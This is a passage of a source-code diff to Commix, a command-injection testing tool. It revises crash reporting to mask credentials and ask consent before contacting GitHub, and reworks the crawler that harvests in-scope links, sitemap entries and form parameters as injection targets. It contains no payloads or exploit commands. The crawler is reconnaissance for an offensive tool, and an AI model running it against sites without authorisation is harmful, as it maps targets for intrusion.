unhandled exception information. +Masks sensitive data in the supplied message. +""" +def mask_sensitive_data(err_msg): + """ + What each option was given, masked wherever it turns up - not only where it follows the option's + own name. A value reaches a message through more than the command line: a stack trace quoting it, + a URL rebuilt around it, a path printed by something else. + """ + for option in settings.SENSITIVE_VALUE_OPTIONS: + value = getattr(menu.options, option, None) + if not value or not isinstance(value, str) or len(value) < 3: + continue + err_msg = err_msg.replace(value, "<sanitized>") + + # The home directory carries the account's own name, whoever printed the path. + err_msg = re.sub(r"(?i)([A-Za-z]:[\\/]+Users[\\/]+|[\\/]+home[\\/]+)([^\\/\s]+)", + lambda match: match.group(1) + "<sanitized>", err_msg) + + for item in settings.SENSITIVE_OPTIONS: + """ + The whole value goes, not the part of it before a hyphen. + + A value was matched with '[^-]+', so 'p-ssw0rd' was masked as far as its first hyphen and the + rest of it was reported verbatim. The option's own name is escaped for the same reason: it is a + literal here, and its hyphens are not a range. Quoted values are taken whole, spaces and all. + """ + pattern = r"(?i)(?<![\w-])(" + re.escape(str(item)) + r")(\s+|=)(\"[^\"]*\"|'[^']*'|\S+)" + err_msg = re.sub(pattern, lambda match: match.group(1) + match.group(2) + "<sanitized>", err_msg) + return err_msg + +""" +Print a user-friendly message with a URL for reporting an issue. +""" +def print_report_issue(url, prepared): + if prepared: + msg = ("Sanitized GitHub issue has been generated. Submit it at: " + url) + settings.print_data_to_stdout(settings.print_info_msg(msg)) + else: + msg = ("Sanitized GitHub issue generation skipped. Report it manually at: " + url) + settings.print_data_to_stdout(settings.print_warning_msg(msg)) + +""" +Create a Github issue with unhandled exception information. PS: Greetz @ sqlmap dev team for that great idea! :) """ def create_github_issue(err_msg, exc_msg): - _ = re.sub(r"'[^']+'", "''", exc_msg) - _ = re.sub(r"\s+line \d+", "", _) - _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) - _ = re.sub(r".+\Z", "", _) - _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) - _ = re.sub(r"= _", "= ", _) - _ = _.encode(settings.UNICODE_ENCODING) - - bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\"" + # Normalize exception message to generate a stable fingerprint + fingerprint = re.sub(r"'[^']+'", "''", exc_msg) + fingerprint = re.sub(r"\s+line \d+", "", fingerprint) + fingerprint = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", fingerprint) + fingerprint = re.sub(r".+\Z", "", fingerprint) + fingerprint = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", fingerprint) + fingerprint = re.sub(r"= _", "= ", fingerprint) + fingerprint = fingerprint.encode(settings.DEFAULT_CODEC) + + # Generate short hash used as issue identifier + key = hashlib.md5(fingerprint).hexdigest()[:8] + + # Build GitHub issue title using the last non-empty exception line + bug_report = ( + "Bug Report: Unhandled exception \"" + + str([i for i in exc_msg.split(settings.END_LINE.LF) if i][-1]) + + "\" (#" + key + ")" + ) + + """ + Nothing leaves the machine until the user has said it may. + + Asking GitHub whether this crash is already known is itself a request to a third party, and the + question used to carry the exception's own last line - which is where a path, a target or a + credential ends up. So consent comes first, and the question is asked with the fingerprint alone. + """ while True: try: - if not menu.options.batch: - question_msg = "Do you want to automatically create a new (anonymized) issue " - question_msg += "with the unhandled exception information at " - question_msg += "the official Github repository? [y/N] " - choise = _input(settings.print_question_msg(question_msg)) - else: - choise = "" - if len(choise) == 0: - choise = "n" + message = "Do you want to generate a sanitized GitHub issue report? [Y/n] " + choise = read_input(message, default="Y", check_batch=True) if choise in settings.CHOICE_YES: + # Mask any potentially sensitive data before submission + err_msg = mask_sensitive_data(err_msg) + exc_msg = mask_sensitive_data(exc_msg) break elif choise in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) + print_report_issue(settings.ISSUES_PAGE, prepared=False) return else: - err_msg = "'" + choise + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - except: - print("\n") + invalid_option(choise) + except (KeyboardInterrupt, EOFError): + settings.print_data_to_stdout("") raise SystemExit() - err_msg = err_msg[err_msg.find("\n"):] - request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \ - _urllib.parse.quote("repo:commixproject/commix" + " " + str(bug_report)) - ) + request = _urllib.request.Request( + url="https://api.github.com/search/issues?q=" + + _urllib.parse.quote( + "repo:commixproject/commix" + + settings.SINGLE_WHITESPACE + + "Unhandled exception (#" + key + ")" + ) + ) try: - content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() - _ = json.loads(content) - duplicate = _["total_count"] > 0 - closed = duplicate and _["items"][0]["state"] == "closed" + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT, context=settings.verified_context()) + content = response.read() + response.close() + results = json.loads(content) + + duplicate = results["total_count"] > 0 + closed = duplicate and results["items"][0]["state"] == "closed" + if duplicate: - warn_msg = "That issue seems to be already reported" + info_msg = "That issue seems to be already reported" if closed: - warn_msg += " and resolved. Please update to the latest " - warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" - warn_msg += ".\n" - print(settings.print_warning_msg(warn_msg)) + info_msg += " and resolved. Please update to the latest " + info_msg += "(dev) version from the official GitHub repository at '" + info_msg += settings.GIT_URL + "'" + info_msg += "." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return - except: + except (KeyboardInterrupt, SystemExit): + raise + except Exception: + # A GitHub that cannot be reached is no reason not to prepare the report. pass - data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} - request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", - data = json.dumps(data).encode(), - headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.UNICODE_ENCODING)).decode()} - ) - try: - content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() - except Exception as err: - content = None - - issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.UNICODE_ENCODING) or "") - if issue_url: - info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'.\n" - print(settings.print_info_msg(info_msg)) - else: - warn_msg = "Something went wrong while creating a Github issue." - if settings.UNAUTHORIZED_ERROR in str(err): - warn_msg += " Please update to the latest revision.\n" - print(settings.print_warning_msg(warn_msg)) + # Trim banner/output lines before the actual error content + err_msg = err_msg[err_msg.find(settings.END_LINE.LF):] -""" -Masks sensitive data in the supplied message. -""" -def mask_sensitive_data(err_msg): - for item in settings.SENSITIVE_OPTIONS: - match = re.search(r"(?i)commix.+("+str(item)+")(\s+|=)([^ ]+)", err_msg) - if match: - err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3))) - return err_msg + # Prepare pre-filled GitHub issue parameters + params = { + "title": str(bug_report), + "body": + "**Runtime Information**```" + str(err_msg) + "```" + settings.END_LINE.LF + + "**Python Traceback**```" + settings.END_LINE.LF + str(exc_msg) + "```" + } + + # Build final GitHub issue URL (prefilled) + issue_url = (settings.ISSUES_PAGE + "?" + _urllib.parse.urlencode(params)) + + # Inform user that a sanitized issue has been prepared + print_report_issue(issue_url, prepared=True) """ Returns detailed message about occurred unhandled exception. @@ -137,107 +380,167 @@ def unhandled_exception(): match = re.search(r"\s*(.+)\s+ValueError", exc_msg) err_msg = "Identified corrupted .pyc file(s)." err_msg += "Please delete .pyc files on your system to fix the problem." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - elif all(_ in exc_msg for _ in ("No such file", "_'")): - err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " - err_msg += "You should retrieve the latest development version from official GitHub " - err_msg += "repository at '" + settings.GIT_URL + "'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif "must be pinned buffer, not bytearray" in exc_msg: - err_msg = "Error occurred at Python interpreter which " - err_msg += "is fixed in 2.7.x. Please update accordingly. " + err_msg = "Error occurred at Python interpreter. " + err_msg += "Python 2.7.x fixes this. Please update accordingly. " err_msg += "(Reference: https://bugs.python.org/issue8104)" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) - elif "MemoryError" in exc_msg: + elif any(_ in exc_msg for _ in ("MemoryError", "Cannot allocate memory")): err_msg = "Memory exhaustion detected." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif "Permission denied: '" in exc_msg: match = re.search(r"Permission denied: '([^']*)", exc_msg) err_msg = "Permission error occurred while accessing file '" + match.group(1) + "'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif all(_ in exc_msg for _ in ("Access is denied", "subprocess", "metasploit")): err_msg = "Permission error occurred while running Metasploit." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif all(_ in exc_msg for _ in ("Permission denied", "metasploit")): err_msg = "Permission error occurred while using Metasploit." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + elif "Invalid argument" in exc_msg: + err_msg = "Corrupted installation detected. " + err_msg += "You should retrieve the latest (dev) version from the official GitHub " + err_msg += "repository at '" + settings.GIT_URL + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + elif "database disk image is malformed" in exc_msg: + err_msg = "Local session file seems to be malformed. Please re-run with '--flush-session'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif all(_ in exc_msg for _ in ("No such file", "_'")): - err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " - err_msg += "You should retrieve the latest (dev) version from official GitHub " + err_msg = "Corrupted installation detected ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "'). " + err_msg += "You should retrieve the latest (dev) version from the official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif "Invalid IPv6 URL" in exc_msg: - err_msg = "invalid URL ('" + exc_msg.strip().split('\n')[-1] + "')" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + err_msg = "Invalid URL ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "')" + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif any(_ in exc_msg for _ in ("Broken pipe",)): - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) elif any(_ in exc_msg for _ in ("The paging file is too small",)): err_msg = "No space left for paging file." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif all(_ in exc_msg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or \ any(_ in exc_msg for _ in ("source code string cannot contain null bytes", "No module named")) or \ - any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")): + any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module")): err_msg = "Invalid runtime environment ('" + exc_msg.split("Error: ")[-1].strip() + "')." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif any(_ in exc_msg for _ in ("No space left", "Disk quota exceeded", "Disk full while accessing")): err_msg = "No space left on output device." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif "Read-only file system" in exc_msg: err_msg = "Output device is mounted as read-only." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif "OperationalError: disk I/O error" in exc_msg: err_msg = "I/O error on output device." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) elif "Violation of BIDI" in exc_msg: err_msg = "Invalid URL (violation of Bidi IDNA rule - RFC 5893)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + elif any(_ in exc_msg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")): + err_msg = "Unable to write to the temporary directory. " + err_msg += "Please make sure your disk is not full and " + err_msg += "that you have sufficient permissions to " + err_msg += "create temporary files and/or directories." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) else: - err_msg = "Unhandled exception occurred in '" + settings.VERSION[1:] + "'. It is recommended to retry your " - err_msg += "run with the latest (dev) version from official GitHub " - err_msg += "repository at '" + settings.GIT_URL + "'. If the exception persists, please open a new issue " - err_msg += "at '" + settings.ISSUES_PAGE + "' " - err_msg += "with the following text and any other information required to " - err_msg += "reproduce the bug. The " - err_msg += "developers will try to reproduce the bug, fix it accordingly " - err_msg += "and get back to you.\n" - err_msg += "Commix version: " + settings.VERSION[1:] + "\n" - err_msg += "Python version: " + settings.PYTHON_VERSION + "\n" - err_msg += "Operating system: " + os.name + "\n" - err_msg += "Command line: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + "\n" - err_msg = mask_sensitive_data(err_msg) - exc_msg = re.sub(r'".+?[/\\](\w+\.py)', "\"\g<1>", exc_msg) - print(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip())) + err_msg = "Unhandled exception occurred in '" + settings.VERSION[1:] + "'. " + err_msg += "We recommend retrying your run with the latest (dev) version from the official GitHub repository at '" + settings.GIT_URL + "'. " + err_msg += "If the issue still occurs, you can report it on GitHub by generating a sanitized report that removes sensitive data, or by submitting the details manually." + settings.END_LINE.LF + err_msg += settings.SUB_CONTENT_SIGN_TYPE + " " + settings.APPLICATION.capitalize() + " version: " + settings.VERSION[1:] + settings.END_LINE.LF + err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Python version: " + settings.PYTHON_VERSION + settings.END_LINE.LF + err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Operating system: " + platform.platform() + settings.END_LINE.LF + err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Command summary: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + settings.END_LINE.LF + exc_msg = settings.TRACEBACK + re.sub(r'".+?[/\\](\w+\.py)', r"\"\g<1>", exc_msg) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + exc_msg.rstrip())) + strip_ansi = lambda s: re.sub(r"\x1B\[[0-9;]*m", "", s) + err_msg, exc_msg = map(strip_ansi, (err_msg, exc_msg)) create_github_issue(err_msg, exc_msg[:]) -# eof \ No newline at end of file +""" +Load a list of non-empty lines from a text file. +""" +""" +Read the smartphone list: every line carries the device name, an optional '*' marking the default, +and the User-Agent header itself, so a name can never end up against the wrong header. +""" +def load_mobile_user_agents(): + devices, default_index = [], 0 + for line in load_list_from_file(settings.MOBILE_USER_AGENT_LIST, "mobile user-agent list"): + if line.startswith("#"): + continue + fields = [field.strip() for field in line.split("\t") if field.strip()] + if len(fields) < 2: + continue + if len(fields) > 2 and fields[1] == "*": + default_index = len(devices) + fields = [fields[0], fields[-1]] + devices.append((fields[0], fields[-1])) + return devices, default_index + +# Every non-empty line of a list file, or a stop where the file cannot be read. +def load_list_from_file(file_path, description="file"): + + if not os.path.isfile(file_path): + err_msg = "The " + description + " '" + file_path + "' was not found." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + try: + with open(file_path, "r", encoding="utf-8") as f: + items = [line.strip() for line in f if line.strip()] + except IOError: + err_msg = "Cannot read the " + description + " '" + file_path + "'. " + err_msg += "Check if the file is corrupted or unreadable." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if not items: + err_msg = "The " + description + " '" + file_path + "' is empty." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Bookkeeping behind whatever the list is being loaded for, so it does not break up that check. + if settings.VERBOSITY_LEVEL > 1: + debug_msg = "Loaded " + str(len(items)) + " entries from " + description + " '" + file_path + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + return items + + +# eof diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 325538e5a1..0b1afd167b 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -3,129 +3,311 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ +import os import re -import sys +import random +import string import tempfile -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.injections.controller import checks -from src.core.requests import headers -from src.thirdparty.six.moves import input as _input +from src.utils import common +from src.core.controller import checks +from src.core.requests import requests from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup -SITEMAP_LOC = [] -HREF_LIST = [] -SKIPPED_URLS = 0 -def store_crawling(): +""" +Empty at import, and emptied again before each crawl. + +A run that reaches these without having crawled - a sitemap handed in on its own, which never starts +a crawl - would otherwise find them missing rather than empty, and fail on the name instead of +reporting that there was nothing usable in it. +""" +crawled_hrefs = [] +sitemap_loc = [] +visited_sitemaps = [] +visited_hrefs = [] +new_crawled_hrefs = [] +crawled_forms = [] + +# Clear what the last crawl left behind, so this one starts from nothing. +def init_global_vars(): + global crawled_hrefs + crawled_hrefs = [] + global sitemap_loc + sitemap_loc = [] + global visited_sitemaps + visited_sitemaps = [] + global visited_hrefs + visited_hrefs = [] + global new_crawled_hrefs + new_crawled_hrefs = [] + global crawled_forms + crawled_forms = [] + +""" +Change the crawling depth level. +""" +def set_crawling_depth(): while True: - if not menu.options.batch: - question_msg = "Do you want to store crawling results to a temporary file " - question_msg += "(for eventual further processing with other tools)? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) + message = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] " + message = common.read_input(message, default="N", check_batch=True) + if message in settings.CHOICE_YES or message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() else: - message = "" - if len(message) == 0: - message = "n" + common.invalid_option(message) + pass + + # Change the crawling depth level. + if message in settings.CHOICE_YES: + while True: + message = "Please enter the crawling depth level: " + message = common.read_input(message, default="1", check_batch=True) + menu.options.crawldepth = message + return + + +""" +Normalize crawling results. +""" +def normalize_results(output_href): + results = [] + while True: + message = "Do you want to normalize crawling results? [Y/n] " + message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: - filename = tempfile.mkstemp(suffix=".txt")[1] - info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." - print(settings.print_info_msg(info_msg)) - return str(filename) + # Dedupe by path and parameter names, keeping the first occurrence. + seen = set() + for target in output_href: + try: + parsed = _urllib.parse.urlparse(target) + if not parsed.query: + continue + # Keep blank-valued fields; their parameter names still belong in the dedup key. + param_names = tuple(sorted(_urllib.parse.parse_qs(parsed.query, keep_blank_values=True).keys())) + if not param_names: + continue + key = (parsed.path, param_names) + if key not in seen: + results.append(target) + seen.add(key) + except Exception: + pass + no_usable_links(results) + return results elif message in settings.CHOICE_NO: - return None + no_usable_links(output_href) + return output_href elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - sys.stdout.write(settings.print_error_msg(err_msg)) - sys.stdout.flush() - pass + common.invalid_option(message) + pass + """ -Do a request to target URL. +Store crawling results to a temporary file. """ -def request(url): - global SKIPPED_URLS +def store_crawling(output_href): try: - # Check if defined POST data - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) - else: - request = _urllib.request.Request(url) - headers.do_check(request) - headers.check_http_traffic(request) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg) + " - Skipping " + str(url) - sys.stdout.write(settings.print_critical_msg(err_msg)) - if settings.VERBOSITY_LEVEL >= 2: - print("") - SKIPPED_URLS += 1 - - + while True: + message = "Do you want to store crawling results to a temporary file " + message += "(for eventual further processing with other tools)? [y/N] " + message = common.read_input(message, default="N", check_batch=True) + if message in settings.CHOICE_YES: + handle, filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT) + info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Written through the one the file was made with, the way the other two of these are: a + # file opened again by its name is a second opening of one already open, and the first is + # then left open for the rest of the run - along with the exclusive creation that is the + # whole reason for asking for it this way. + with os.fdopen(handle, 'w', encoding=settings.DEFAULT_CODEC) as crawling_results: + for url in output_href: + crawling_results.write(str(url.encode(settings.DEFAULT_CODEC).decode()) + settings.END_LINE.LF) + return + elif message in settings.CHOICE_NO: + return + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(message) + pass + except Exception: + pass + """ Check for URLs in sitemap.xml. """ -def sitemap(url): +def sitemap(url, http_request_method): try: if not url.endswith(".xml"): if not url.endswith("/"): url = url + "/" - url = _urllib.parse.urljoin(url, "sitemap.xml") - response = request(url) - content = checks.page_encoding(response, action="decode") + url = _urllib.parse.urljoin(url, settings.SITEMAP_XML_FILE) + response = request(url, http_request_method) + content = checks.process_page_content(response, action="decode") for match in re.finditer(r"<loc>\s*([^<]+)", content or ""): url = match.group(1).strip() - SITEMAP_LOC.append(url) - if url.endswith(".xml") and "sitemap" in url.lower(): + if url not in sitemap_loc: + sitemap_loc.append(url) + if url.endswith(".xml") and "sitemap" in url.lower() and url not in visited_sitemaps: + visited_sitemaps.append(url) while True: warn_msg = "A sitemap recursion detected (" + url + ")." - print(settings.print_warning_msg(warn_msg)) - if not menu.options.batch: - question_msg = "Do you want to follow? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + message = "Do you want to follow? [Y/n] " + message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: - sitemap(url) + sitemap(url, http_request_method) break elif message in settings.CHOICE_NO: break elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(message) pass - return SITEMAP_LOC - except: + no_usable_links(sitemap_loc) + return sitemap_loc + except Exception: + if not menu.options.crawldepth: + raise SystemExit() pass + +""" +Store the identified (valid) hrefs. """ -Grab the crawled hrefs. +def store_hrefs(href, identified_hrefs, redirection): + if href not in crawled_hrefs: + if (settings.DEFAULT_CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection: + new_crawled_hrefs.append(href) + identified_hrefs = True + crawled_hrefs.append(href) + return identified_hrefs + + +""" +Extract form fields as (name, value) pairs, preserving blank values for the caller to fill. +""" +def extract_form_params(form): + params = [] + for field in form.findAll(["input", "select", "textarea"]): + name = field.get("name") + if not name: + continue + field_type = (field.get("type") or "text").lower() + if field_type in ("submit", "button", "image", "reset", "file"): + continue + if field_type in ("checkbox", "radio") and field.get("checked") is None: + continue + value = "" + if field.name == "select": + option = field.find("option", selected=True) or field.find("option") + if option: + value = option.get("value") or option.text or "" + elif field.name == "textarea": + value = field.text or "" + else: + value = field.get("value") or "" + params.append((name, value)) + return params + +""" +Fill blank fields with a random int for id-like names or a random string otherwise. +""" +def random_fill_blank_fields(data): + # The field's value, as the form's own markup gives it. + def replacement(match): + item = match.group("result") + field_name = item[:-1] + new_value = str(random.randint(1, 9999)) if re.search(r"(?i)id", field_name) else \ + ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(6)) + return match.group(1) + item + new_value + return re.sub(settings.EMPTY_FORM_FIELDS_REGEX, replacement, data) + + +""" +Store an identified (valid) POST form as an (action URL, POST data) pair. +""" +def store_forms(action_url, data): + entry = (action_url, data) + if entry not in crawled_forms: + crawled_forms.append(entry) + + +""" +Do a request to target URL. +""" +def request(url, http_request_method): + return requests.crawler_request(url, http_request_method) + """ -def crawling(url): +Enable crawler. +""" +def enable_crawler(): + message = "" + if not settings.CRAWLING: + while True: + message = "Do you want to enable crawler? [y/N] " + message = common.read_input(message, default="N", check_batch=True) + if message in settings.CHOICE_YES: + menu.options.crawldepth = 1 + break + if message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(message) + pass + set_crawling_depth() + +""" +Check for the existence of site's sitemap +""" +def check_sitemap(): + message = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " + message += "the existence of site's sitemap(.xml)? [y/N] " + common.prompt_yes_no_setting(message, "SITEMAP_CHECK", default="N") + +""" +Check if no usable links found. +""" +def no_usable_links(crawled_hrefs): + if len(crawled_hrefs) == 0 and len(crawled_forms) == 0: + warn_msg = "No usable links found (with GET parameters)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if not settings.MULTI_TARGETS: + raise SystemExit() + +""" +The crawing process. +""" +def do_process(url, http_request_method): + identified_hrefs = False + if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: + settings.print_data_to_stdout(settings.END_LINE.CR) + # Grab the crawled hrefs. try: - response = request(url) - content = checks.page_encoding(response, action="decode") + response = request(url, http_request_method) + content = checks.process_page_content(response, action="decode") match = re.search(r"(?si)<html[^>]*>(.+)</html>", content) if match: - content = "<html>%s</html>" % match.group(1) + content = "<html>" + match.group(1) + "</html>" soup = BeautifulSoup(content) tags = soup('a') if not tags: @@ -133,167 +315,112 @@ def crawling(url): tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content) for tag in tags: - href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href") + href = tag.get("href") if hasattr(tag, "get") else tag.group("href") if href: - href = _urllib.parse.urljoin(url, href) + href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href)) if _urllib.parse.urlparse(url).netloc in href: - if not re.search(r"\?(v=)?\d+\Z", href) and not \ - re.search(r"(?i)\.(js|css)(\?|\Z)", href) and \ - href.split('.')[-1].lower() not in settings.CRAWL_EXCLUDE_EXTENSIONS: - if request(href): - HREF_LIST.append(href) - if len(HREF_LIST) != 0: - return list(set(HREF_LIST)) - else: - if not settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - warn_msg = "No usable links found." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - except (UnicodeEncodeError, ValueError) as e: # for non-HTML files and non-valid links - pass + if (common.extract_regex_result(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS: + if not re.search(r"\?(v=)?\d+\Z", href) and not re.search(r"(?i)\.(js|css)(\?|\Z)", href): + if (menu.options.crawl_exclude and re.search(menu.options.crawl_exclude, href or "")) or not checks.in_scope(href): + if href not in visited_hrefs: + visited_hrefs.append(href) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping URL " + href + "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + else: + identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) + # Named in the scripts a page loads, which nothing on the page links to. + if menu.options.mine_endpoints: + from src.core.requests import mining + for href in mining.mine_endpoints(url, content, http_request_method): + if checks.in_scope(href): + identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) -""" -The crawing process. -""" -def do_process(url): - try: - crawled_href = [] - for url in crawling(url): - crawled_href.append(url) - return crawled_href - except TypeError: + if menu.options.forms: + for form in soup('form'): + action_url = _urllib.parse.urljoin(url, form.get("action") or url) + if _urllib.parse.urlparse(url).netloc not in action_url: + continue + params = extract_form_params(form) + if not params: + continue + method = (form.get("method") or settings.HTTPMETHOD.GET).upper() + if method == settings.HTTPMETHOD.POST: + # Keep blank fields empty; main.py decides whether to fill them with a default or random value. + data = "&".join(_urllib.parse.quote(str(k), safe="") + "=" + _urllib.parse.quote(str(v), safe="") for k, v in params) + store_forms(action_url, data) + else: + # Keep blank fields empty; main.py fills them based on the per-URL prompt. + data = "&".join(_urllib.parse.quote(str(k), safe="") + "=" + _urllib.parse.quote(str(v), safe="") for k, v in params) + href = action_url + ("&" if "?" in action_url else "?") + data + identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) + no_usable_links(crawled_hrefs) + if identified_hrefs: + # Already deduped by store_hrefs(); list() keeps order stable. + if len(new_crawled_hrefs) != 0 and 